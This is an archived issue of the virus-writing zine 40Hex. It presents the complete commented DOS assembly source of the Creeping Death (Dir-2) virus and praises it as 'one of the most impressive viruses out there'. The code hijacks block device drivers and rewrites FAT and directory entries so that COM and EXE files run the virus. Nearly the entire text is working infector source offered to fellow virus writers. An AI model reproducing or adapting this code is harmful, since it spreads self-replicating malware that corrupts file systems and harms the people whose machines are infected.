home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_6.00a < prev    next >
Text File  |  1995-01-03  |  31KB  |  583 lines

  1. 40Hex Number 6 Volume 2 Issue 2                                      File 00A
  2.  
  3.      Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping Death(dir2).
  4. This is one of the most impressive viruses out there, and VirusSoft looks to be
  5. a promising group in the future.  Unfortunately, the source code we obtained
  6. had almost no comments.  Dark Angel commented it as best as he possibly could,
  7. but I think it is safe to say that there may be a few discrepancies.
  8. Nonetheless, it was an excellent job, kudos to DA.  Although I am writing this
  9. header, I had nothing to do with the commenting, so Dark Angel gets all the
  10. credit.
  11.  
  12.                                                 -)GHeap
  13.  
  14. -------------------------------------------------------------------------------
  15. ; Dark Angel's comments: I spent my entire waking hours looking at this virus.
  16. ;                        I love it.  It is my life.  I worship the drive it
  17. ;                        infects.  Take a look at it.  Let not my troubles be
  18. ;                        in vain.  Why did I do this?  I sacrifice my life for
  19. ;                        the benefit of 40Hex.  If you don't read this, I'm
  20. ;                        gonna go join [NuKE].
  21.  
  22. ;        Creeping Death  V 1.0
  23. ;
  24. ;        (C) Copyright 1991 by VirusSoft Corp.
  25.  
  26. i13org    =    5f8h
  27. i21org    =    5fch
  28.  
  29. dir_2   segment byte public
  30.         assume  cs:dir_2, ds:dir_2
  31.  
  32.         org   100h
  33.  
  34. start:
  35.          mov   sp,600h                          ; Set up the stack pointer
  36.          inc   word ptr counter                 ; Generation counter
  37.          xor   cx,cx
  38.          mov   ds,cx                            ; DS points to interrupt table
  39.          lds   ax, ds:[0c1h]                    ; Find interrupt 30h
  40.          add   ax,21h                           ; Change it to Int 21h
  41.          push  ds                               ; Save it on stack for use by
  42.          push  ax                               ; subroutine "jump"
  43.          mov   ah,30h                           ; Get DOS version
  44.          call  jump
  45.          cmp   al,4                             ; DOS 4.X+ : SI = 0
  46.          sbb   si,si                            ; DOS 2/3  : SI = -1
  47.          mov   byte ptr [drive+2],byte ptr -1   ; Initialise last drive to
  48.                                                 ; "never accessed"
  49.          mov   bx,60h                           ; Adjust memory in ES to
  50.          mov   ah,4ah                           ; BX paragraphs.
  51.          call  jump
  52.  
  53.          mov   ah,52h                           ; Get DOS List of Lists
  54.          call  jump                             ; to ES:BX
  55.          push  es:[bx-2]                        ; Save Segment of first MCB
  56.          lds   bx,es:[bx]                       ; DS:BX -> 1st DPB
  57.                                                 ;  (Drive parameter block)
  58. search:  mov   ax,[bx+si+15h]                   ; Get segment of device driver
  59.          cmp   ax,70h                           ; Is it CONFIG? (I think)
  60.          jne   next                             ; If not, try again
  61.          xchg  ax,cx                            ; Move driver segment to CX
  62.          mov   [bx+si+18h],byte ptr -1          ; Flag block must be rebuilt
  63.          mov   di,[bx+si+13h]                   ; Save offset of device driver
  64.                                                 ; Original device driver
  65.                                                 ; address in CX:DI
  66.          mov   [bx+si+13h],offset header        ; Replace with our own
  67.          mov   [bx+si+15h],cs                   ;  (header)
  68. next:    lds   bx,[bx+si+19h]                   ; Get next device block
  69.          cmp   bx,-1                            ; Is it the last one?
  70.          jne   search                           ; If not, search it
  71.          jcxz  install
  72.  
  73.          pop   ds                               ; Restore segment of first
  74.          mov   ax,ds                            ; MCB
  75.          add   ax,ds:[3]                        ; Go to next MCB
  76.          inc   ax                               ; AX = segment next MCB
  77.          mov   dx,cs                            ; DX = MCB owning current
  78.          dec   dx                               ;      program
  79.          cmp   ax,dx                            ; Are these the same?
  80.          jne   no_boot                          ; If not, we are not currently
  81.                                                 ; in the middle of a reboot
  82.          add   word ptr ds:[3],61h              ; Increase length owned by
  83.                                                 ; MCB by 1552 bytes
  84. no_boot: mov   ds,dx                            ; DS = MCB owning current
  85.                                                 ; program
  86.          mov   word ptr ds:[1],8                ; Set owner = DOS
  87.  
  88.          mov   ds,cx                            ; DS = segment of original
  89.                                                 ;      device driver
  90.          les   ax,[di+6]                        ; ES = offset int handler
  91.                                                 ; AX = offset strategy entry
  92.          mov   word ptr cs:str_block,ax         ; Save entry point
  93.          mov   word ptr cs:int_block,es         ; And int block for use in
  94.                                                 ; function _in
  95.          cld                                    ; Scan for the write
  96.          mov   si,1                             ; function in the
  97. scan:    dec   si                               ; original device driver
  98.          lodsw
  99.          cmp   ax,1effh
  100.          jne   scan
  101.          mov   ax,2cah                          ; Wicked un-yar place o'
  102.          cmp   [si+4],ax                        ; doom.
  103.          je    right
  104.          cmp   [si+5],ax
  105.          jne   scan
  106. right:   lodsw
  107.          push  cs
  108.          pop   es
  109.          mov   di,offset modify+1               ; Save address of patch
  110.          stosw                                  ; area so it can be changed
  111.          xchg  ax,si                            ; later.
  112.          mov   di,offset i13org                 ; This is in the stack, but
  113.          cli                                    ; it is used by "i13pr"
  114.          movsw
  115.          movsw
  116.  
  117.          mov   dx,0c000h                        ; Scan for hard disk ROM
  118.                                                 ; Start search @ segment C000h
  119. fdsk1:   mov   ds,dx                            ; Load up the segment
  120.          xor   si,si                            ; atart at offset 0000h
  121.          lodsw                                  ; Scan for the signature
  122.          cmp   ax,0aa55h                        ; Is it the signature?
  123.          jne   fdsk4                            ; If not, change segment
  124.          cbw                                    ; clear AH
  125.          lodsb                                  ; load a byte to AL
  126.          mov   cl,9
  127.          sal   ax,cl                            ; Shift left, 0 filled
  128. fdsk2:   cmp   [si],6c7h
  129.          jne   fdsk3
  130.          cmp   word ptr [si+2],4ch
  131.          jne   fdsk3
  132.          push  dx                               ; Save the segment
  133.          push  [si+4]                           ; and offset on stack
  134.          jmp   short death                      ; for use by i13pr
  135.  
  136. install: int   20h
  137. file:    db    "c:",255,0
  138. fdsk3:   inc   si                               ; Increment search offset
  139.          cmp   si,ax                            ; If we are not too high,
  140.          jb    fdsk2                            ; try again
  141. fdsk4:   inc   dx                               ; Increment search segment
  142.          cmp   dh,0f0h                          ; If we are not in high
  143.          jb    fdsk1                            ; memory, try again
  144.  
  145.          sub   sp,4                             ; effectively push dummy vars.
  146. death:   push  cs                               ; on stack for use by i13pr
  147.          pop   ds
  148.          mov   bx,ds:[2ch]                      ; Get environment from PSP
  149.          mov   es,bx
  150.          mov   ah,49h                           ; Release it (to save memory)
  151.          call  jump
  152.          xor   ax,ax
  153.          test  bx,bx                            ; Is BX = 0?
  154.          jz    boot                             ; If so, we are booting now
  155.          mov   di,1                             ; and not running a file
  156. seek:    dec   di                               ; Search for end of
  157.          scasw                                  ; the environment block
  158.          jne   seek
  159.          lea   si,[di+2]                        ; SI points to filename
  160.          jmp   short exec                       ; (in DOS 3.X+)
  161.                                                 ; Execute that file
  162. boot:    mov   es,ds:[16h]                      ; get PSP of parent
  163.          mov   bx,es:[16h]                      ; get PSP of parent
  164.          dec   bx                               ; go to its MCB
  165.          xor   si,si
  166. exec:    push  bx
  167.          mov   bx,offset param                  ; Set up parameter block
  168.                                                 ; for EXEC function
  169.          mov   [bx+4],cs                        ; segment to command line
  170.          mov   [bx+8],cs                        ; segment to 1st FCB
  171.          mov   [bx+12],cs                       ; segment to 2nd FCB
  172.          pop   ds
  173.          push  cs
  174.          pop   es
  175.  
  176.          mov   di,offset f_name
  177.          push  di                               ; Save filename offset
  178.          mov   cx,40                            ; Copy the filename to
  179.          rep   movsw                            ; the buffer
  180.          push  cs
  181.          pop   ds
  182.  
  183.          mov   ah,3dh                           ; Handle open file
  184.          mov   dx,offset file                   ; "c: ",0
  185.          call  jump
  186.          pop   dx                               ; DS:DX -> filename
  187.  
  188.          mov   ax,4b00h                         ; Load and Execute
  189.          call  jump                             ; ES:BX = param block
  190.          mov   ah,4dh                           ; Get errorlevel
  191.          call  jump
  192.          mov   ah,4ch                           ; Terminate
  193.  
  194. jump:    pushf                                  ; Simulate an interrupt 21h
  195.          call  dword ptr cs:[i21org]
  196.          ret
  197.  
  198.  
  199. ;--------Installation complete
  200.  
  201. i13pr:   mov   ah,3                             ; Write AL sectors from ES:BX
  202.          jmp   dword ptr cs:[i13org]            ; to track CH, sector CL,
  203.                                                 ; head DH, drive DL
  204.  
  205.  
  206. main:    push  ax            ; driver
  207.          push  cx            ; strategy block
  208.          push  dx
  209.          push  ds
  210.          push  si
  211.          push  di
  212.  
  213.          push  es                               ; Move segment of parameter
  214.          pop   ds                               ; block to DS
  215.          mov   al,[bx+2]                        ; [bx+2] holds command code
  216.  
  217.          cmp   al,4                             ; Input (read)
  218.          je    input
  219.          cmp   al,8                             ; Output (write)
  220.          je    output
  221.          cmp   al,9                             ; Output (write) with verify
  222.          je    output
  223.  
  224.          call  in_                              ; Call original device
  225.          cmp   al,2                             ; Request build BPB
  226.          jne   ppp                              ; If none of the above, exit
  227.          lds   si,[bx+12h]                      ; DS:SI point to BPB table
  228.          mov   di,offset bpb_buf                ; Replace old pointer with
  229.          mov   es:[bx+12h],di                   ; a pointer to our own
  230.          mov   es:[bx+14h],cs                   ; BPB table
  231.          push  es                               ; Save segment of parameters
  232.          push  cs
  233.          pop   es
  234.          mov   cx,16                            ; Copy the old BPB table to
  235.          rep   movsw                            ; our own
  236.          pop   es                               ; Restore parameter segment
  237.          push  cs
  238.          pop   ds
  239.          mov   al,[di+2-32]                     ; AL = sectors per allocation
  240.          cmp   al,2                             ;      unit.  If less than
  241.          adc   al,0                             ;      2, increment
  242.          cbw                                    ; Extend sign to AH (clear AH)
  243.          cmp   word ptr [di+8-32],0             ; Is total number sectors = 0?
  244.          je    m32                              ; If so, big partition (>32MB)
  245.          sub   [di+8-32],ax                     ; Decrease space of disk by
  246.                                                 ; one allocation unit(cluster)
  247.          jmp   short ppp                        ; Exit
  248. m32:     sub   [di+15h-32],ax                   ; Handle large partitions
  249.          sbb   word ptr [di+17h-32],0
  250.  
  251. ppp:     pop   di
  252.          pop   si
  253.          pop   ds
  254.          pop   dx
  255.          pop   cx
  256.          pop   ax
  257. rts:     retf                                   ; We are outta here!
  258.  
  259. output:  mov   cx,0ff09h
  260.          call  check                            ; is it a new disk?
  261.          jz    inf_sec                          ; If not, go away
  262.          call  in_                              ; Call original device handler
  263.          jmp   short inf_dsk
  264.  
  265. inf_sec: jmp   _inf_sec
  266. read:    jmp   _read
  267. read_:   add   sp,16                            ; Restore the stack
  268.          jmp   short ppp                        ; Leave device driver
  269.  
  270. input:   call  check                            ; Is it a new disk?
  271.          jz    read                             ; If not, leave
  272. inf_dsk: mov   byte ptr [bx+2],4                ; Set command code to READ
  273.          cld
  274.          lea   si,[bx+0eh]                      ; Load from buffer address
  275.          mov   cx,8                             ; Save device driver request
  276. save:    lodsw                                  ; on the stack
  277.          push  ax
  278.          loop  save
  279.          mov   word ptr [bx+14h],1              ; Starting sector number = 1
  280.                                                 ; (Read 1st FAT)
  281.          call  driver                           ; Read one sector
  282.          jnz   read_                            ; If error, exit
  283.          mov   byte ptr [bx+2],2                ; Otherwise build BPB
  284.          call  in_                              ; Have original driver do the
  285.                                                 ; work
  286.          lds   si,[bx+12h]                      ; DS:SI points to BPB table
  287.          mov   ax,[si+6]                        ; Number root directory entries
  288.          add   ax,15                            ; Round up
  289.          mov   cl,4
  290.          shr   ax,cl                            ; Divide by 16 to find sectors
  291.                                                 ; of root directory
  292.          mov   di,[si+0bh]                      ; DI = sectors/FAT
  293.          add   di,di                            ; Double for 2 FATs
  294.          stc                                    ; Add one for boot record
  295.          adc   di,ax                            ; Add sector size of root dir
  296.          push  di                               ; to find starting sector of
  297.                                                 ; data (and read)
  298.          cwd                                    ; Clear DX
  299.          mov   ax,[si+8]                        ; AX = total sectors
  300.          test  ax,ax                            ; If it is zero, then we have
  301.          jnz   more                             ; an extended partition(>32MB)
  302.          mov   ax,[si+15h]                      ; Load DX:AX with total number
  303.          mov   dx,[si+17h]                      ; of sectors
  304. more:    xor   cx,cx
  305.          sub   ax,di                            ; Calculate FAT entry for last
  306.                                                 ; sector of disk
  307.          sbb   dx,cx
  308.          mov   cl,[si+2]                        ; CL = sectors/cluster
  309.          div   cx                               ; AX = cluster #
  310.          cmp   cl,2                             ; If there is more than 1
  311.          sbb   ax,-1                            ; cluster/sector, add one
  312.          push  ax                               ; Save cluster number
  313.          call  convert                          ; AX = sector number to read
  314.                                                 ; DX = offset in sector AX
  315.                                                 ;      of FAT entry
  316.                                                 ; DI = mask for EOF marker
  317.          mov   byte ptr es:[bx+2],4             ; INPUT (read)
  318.          mov   es:[bx+14h],ax                   ; Starting sector = AX
  319.          call  driver                           ; One sector only
  320. again:   lds   si,es:[bx+0eh]                   ; DS:SI = buffer address
  321.          add   si,dx                            ; Go to FAT entry
  322.          sub   dh,cl                            ; Calculate a new encryption
  323.          adc   dx,ax                            ; value
  324.          mov   word ptr cs:gad+1,dx             ; Change the encryption value
  325.          cmp   cl,1                             ; If there is 0 cluster/sector
  326.          je    small_                           ; then jump to "small_"
  327.          mov   ax,[si]                          ; Load AX with offset of FAT
  328.                                                 ; entry
  329.          and   ax,di                            ; Mask it with value from
  330.                                                 ; "convert" then test to see
  331.                                                 ; if the sector is fine
  332.          cmp   ax,0fff7h                        ; 16 bit reserved/bad
  333.          je    bad
  334.          cmp   ax,0ff7h                         ; 12 bit reserved/bad
  335.          je    bad
  336.          cmp   ax,0ff70h                        ; 12 bit reserved/bad
  337.          jne   ok
  338. bad:     pop   ax                               ; Tried to replicate on a bad
  339.          dec   ax                               ; cluster.  Try again on a
  340.          push  ax                               ; lower one.
  341.          call  convert                          ; Find where it is in the FAT
  342.          jmp   short again                      ; and try once more
  343. small_:  not   di                               ; Reverse mask bits
  344.          and   [si],di                          ; Clear other bits
  345.          pop   ax                               ; AX = cluster number
  346.          push  ax
  347.          inc   ax                               ; Need to do 2 consecutive
  348.          push  ax                               ; bytes
  349.          mov   dx,0fh
  350.          test  di,dx
  351.          jz    here
  352.          inc   dx                               ; Multiply by 16
  353.          mul   dx
  354. here:    or    [si],ax                          ; Set cluster to next
  355.          pop   ax                               ; Restore cluster of write
  356.          call  convert                          ; Calculate buffer offset
  357.          mov   si,es:[bx+0eh]                   ; Go to FAT entry (in buffer)
  358.          add   si,dx
  359.          mov   ax,[si]
  360.          and   ax,di
  361. ok:      mov   dx,di                            ; DI = mask from "convert"
  362.          dec   dx
  363.          and   dx,di                            ; Yerg!
  364.          not   di
  365.          and   [si],di
  366.          or    [si],dx                          ; Set [si] to DI
  367.  
  368.          cmp   ax,dx                            ; Did we change the FAT?
  369.          pop   ax                               ; i.e. Are we already on this
  370.          pop   di                               ; disk?
  371.          mov   word ptr cs:pointer+1,ax         ; Our own starting cluster
  372.          je    _read_                           ; If we didn't infect, then
  373.                                                 ; leave the routine.  Oh
  374.                                                 ; welp-o.
  375.          mov   dx,[si]
  376.          push  ds
  377.          push  si
  378.          call  write                            ; Update the FAT
  379.          pop   si
  380.          pop   ds
  381.          jnz   _read_                           ; Quit if there's an error
  382.          call  driver
  383.          cmp   [si],dx
  384.          jne   _read_
  385.          dec   ax
  386.          dec   ax
  387.          mul   cx                               ; Multiply by sectors/cluster
  388.                                                 ; to find the sector of the
  389.                                                 ; write
  390.          add   ax,di
  391.          adc   dx,0
  392.          push  es
  393.          pop   ds
  394.          mov   word ptr [bx+12h],2              ; Byte/sector count
  395.          mov   [bx+14h],ax                      ; Starting sector #
  396.          test  dx,dx
  397.          jz    less
  398.          mov   word ptr [bx+14h],-1             ; Flag extended partition
  399.          mov   [bx+1ah],ax                      ; Handle the sector of the
  400.          mov   [bx+1ch],dx                      ; extended partition
  401. less:    mov   [bx+10h],cs                      ; Transfer address segment
  402.          mov   [bx+0eh],100h                    ; and the offset (duh)
  403.          call  write                            ; Zopy ourselves!
  404.                                                 ; (We want to travel)
  405. _read_:  std
  406.          lea   di,[bx+1ch]                      ; Restore device driver header
  407.          mov   cx,8                             ; from the stack
  408. load:    pop   ax
  409.          stosw
  410.          loop  load
  411. _read:   call  in_                              ; Call original device handler
  412.  
  413.          mov   cx,9
  414. _inf_sec:
  415.          mov   di,es:[bx+12h]                   ; Bytes/Sector
  416.          lds   si,es:[bx+0eh]                   ; DS:SI = pointer to buffer
  417.          sal   di,cl                            ; Multiply by 512
  418.                                                 ; DI = byte count
  419.          xor   cl,cl
  420.          add   di,si                            ; Go to address in the buffer
  421.          xor   dl,dl                            ; Flag for an infection in
  422.                                                 ; function find
  423.          push  ds
  424.          push  si
  425.          call  find                             ; Infect the directory
  426.          jcxz  no_inf
  427.          call  write                            ; Write it back to the disk
  428.          and   es:[bx+4],byte ptr 07fh          ; Clear error bit in status
  429.                                                 ; word
  430. no_inf:  pop   si
  431.          pop   ds
  432.          inc   dx                               ; Flag for a decryption in
  433.                                                 ; function find
  434.          call  find                             ; Return right information to
  435.                                                 ; calling program
  436.          jmp   ppp
  437.  
  438. ;--------Subroutines
  439.  
  440. find:    mov   ax,[si+8]                        ; Check filename extension
  441.          cmp   ax,"XE"                          ; in directory structure
  442.          jne   com
  443.          cmp   [si+10],al
  444.          je    found
  445. com:     cmp   ax,"OC"
  446.          jne   go_on
  447.          cmp   byte ptr [si+10],"M"
  448.          jne   go_on
  449. found:   test  [si+1eh],0ffc0h ; >4MB           ; Check file size high word
  450.          jnz   go_on                            ; to see if it is too big
  451.          test  [si+1dh],03ff8h ; <2048B         ; Check file size low word
  452.          jz    go_on                            ; to see if it is too small
  453.          test  [si+0bh],byte ptr 1ch            ; Check attribute for subdir,
  454.          jnz   go_on                            ; volume label or system file
  455.          test  dl,dl                            ; If none of these, check DX
  456.          jnz   rest                             ; If not 0, decrypt
  457. pointer: mov   ax,1234h                         ; mov ax, XX modified elsewhere
  458.          cmp   ax,[si+1ah]                      ; Check for same starting
  459.                                                 ; cluster number as us
  460.          je    go_on                            ; If it is, then try another
  461.          xchg  ax,[si+1ah]                      ; Otherwise make it point to
  462.                                                 ; us.
  463. gad:     xor   ax,1234h                         ; Encrypt their starting
  464.                                                 ; cluster
  465.          mov   [si+14h],ax                      ; And put it in area reserved
  466.                                                 ; by DOS for no purpose
  467.          loop  go_on                            ; Try another file
  468. rest:    xor   ax,ax                            ; Disinfect the file
  469.          xchg  ax,[si+14h]                      ; Get starting cluster
  470.          xor   ax,word ptr cs:gad+1             ; Decrypt the starting cluster
  471.          mov   [si+1ah],ax                      ; and put it back
  472. go_on:   db    2eh,0d1h,6                       ; rol cs:[gad+1], 1
  473.          dw    offset gad+1                     ; Change encryption and
  474.          add   si,32                            ; go to next file
  475.          cmp   di,si                            ; If it is not past the end of
  476.          jne   find                             ; the buffer, then try again
  477.          ret                                    ; Otherwise quit
  478.  
  479. check:   mov   ah,[bx+1]                        ; ah = unit code (block device
  480.                                                 ;                 only)
  481. drive:   cmp   ah,-1                            ; cmp ah, XX can change.
  482.                                                 ; Compare with the last call
  483.                                                 ; -1 is just a dummy
  484.                                                 ; impossible value that will
  485.                                                 ; force the change to be true
  486.          mov   byte ptr cs:[drive+2],ah         ; Save this call's drive
  487.          jne   changed                          ; If not the same as last call
  488.                                                 ; media has changed
  489.          push  [bx+0eh]                         ; If it is the same physical
  490.                                                 ; drive, see if floppy has
  491.                                                 ; been changed
  492.          mov   byte ptr [bx+2],1                ; Tell original driver to do a
  493.          call  in_                              ; media check (block only)
  494.          cmp   byte ptr [bx+0eh],1              ; Returns 1 in [bx+0eh] if
  495.          pop   [bx+0eh]                         ; media has not been changed
  496.          mov   [bx+2],al                        ; Restore command code
  497. changed: ret                                    ; CF,ZF set if media has not
  498.                                                 ; been changed, not set if
  499.                                                 ; has been changed or we don't
  500.                                                 ; know
  501. write:   cmp   byte ptr es:[bx+2],8             ; If we want OUTPUT, go to
  502.          jae   in_                              ; original device handler
  503.                                                 ; and return to caller
  504.          mov   byte ptr es:[bx+2],4             ; Otherwise, request INPUT
  505.          mov   si,70h
  506.          mov   ds,si                            ; DS = our segment
  507. modify:  mov   si,1234h                         ; Address is changed elsewhere
  508.          push  [si]
  509.          push  [si+2]
  510.          mov   [si],offset i13pr
  511.          mov   [si+2],cs
  512.          call  in_                              ; Call original device handler
  513.          pop   [si+2]
  514.          pop   [si]
  515.          ret
  516.  
  517. driver:  mov   word ptr es:[bx+12h],1           ; One sector
  518. in_:                                            ; in_ first calls the strategy
  519.                                                 ; of the original device
  520.                                                 ; driver and then calls the
  521.                                                 ; interrupt handler
  522.          db    09ah                             ; CALL FAR PTR
  523. str_block:
  524.          dw    ?,70h                            ; address
  525.          db    09ah                             ; CALL FAR PTR
  526. int_block:
  527.          dw    ?,70h                            ; address
  528.          test  es:[bx+4],byte ptr 80h           ; Was there an error?
  529.          ret
  530.  
  531. convert: cmp   ax,0ff0h                         ; 0FFF0h if 12 bit FAT
  532.          jae   fat_16                           ; 0FF0h = reserved cluster
  533.          mov   si,3                             ; 12 bit FAT
  534.          xor   word ptr cs:[si+gad-1],si        ; Change the encryption value
  535.          mul   si                               ; Multiply by 3 and
  536.          shr   ax,1                             ; divide by 2
  537.          mov   di,0fffh                         ; Mark it EOF (low 12 bits)
  538.          jnc   cont                             ; if it is even, continue
  539.          mov   di,0fff0h                        ; otherwise, mark it EOF (high
  540.          jmp   short cont                       ; 12 bits) and then continue
  541. fat_16:  mov   si,2                             ; 16 bit FAT
  542.          mul   si                               ; Double cluster #
  543.          mov   di,0ffffh                        ; Mark it as end of file
  544. cont:    mov   si,512
  545.          div   si                               ; AX = sector number
  546.                                                 ; (relative to start of FAT)
  547.                                                 ; DX = offset in sector AX
  548. header:  inc   ax                               ; Increment AX to account for
  549.          ret                                    ; boot record
  550.  
  551. counter: dw    0
  552.  
  553.          dw    842h                             ; Attribute
  554.                                                 ;  Block device
  555.                                                 ;  DOS 3 OPEN/CLOSE removable
  556.                                                 ;        media calls supported
  557.                                                 ;  Generic IOCTL call supported
  558.                                                 ; Supports 32 bit sectors
  559.          dw    offset main                      ; Strategy routine
  560.          dw    offset rts                       ; Interrupt routine (rtf)
  561.          db    7fh                              ; Number of subunits supported
  562.                                                 ; by this driver.  Wow, lookit
  563.                                                 ; it -- it's so large and juicy
  564.  
  565. ; Parameter block format:
  566. ; 0  WORD Segment of environment
  567. ; 2 DWORD pointer to command line
  568. ; 6 DWORD pointer to 1st default FCB
  569. ;10 DWORD pointer to 2nd default FCB
  570. param:   dw    0,80h,?,5ch,?,6ch,?
  571.  
  572. bpb_buf: db    32 dup(?)
  573. f_name:  db    80 dup(?)
  574.  
  575. ;--------The End.
  576. dir_2   ends
  577.         end     start
  578.  
  579. MsDos
  580. -------------------------------------------------------------------------------
  581.  
  582. Downloaded From P-80 International Information Systems 304-744-2253
  583.